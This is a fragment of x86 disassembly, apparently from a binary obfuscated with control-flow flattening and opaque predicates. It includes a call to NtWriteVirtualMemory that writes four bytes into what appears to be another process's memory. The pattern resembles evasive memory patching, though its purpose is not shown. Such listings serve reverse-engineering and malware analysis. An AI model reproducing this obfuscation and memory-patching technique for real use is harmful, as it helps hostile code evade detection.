mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd6d2d49
mov ecx, 0xd3eb6162
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x75866df1
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xdeea952
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xaf48793e
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xfe3a5a9b
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xb440e9c4
jmp 0x1000e72e
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x19c], 0xbf5f9c92
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xd56fcd44
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xbcc54cb0
jmp 0x1000e72e
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x90]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x19c], 0x9f63236d
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xbd2581d9
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x2d9a28eb
jmp 0x1000e72e
jmp 0x10008db0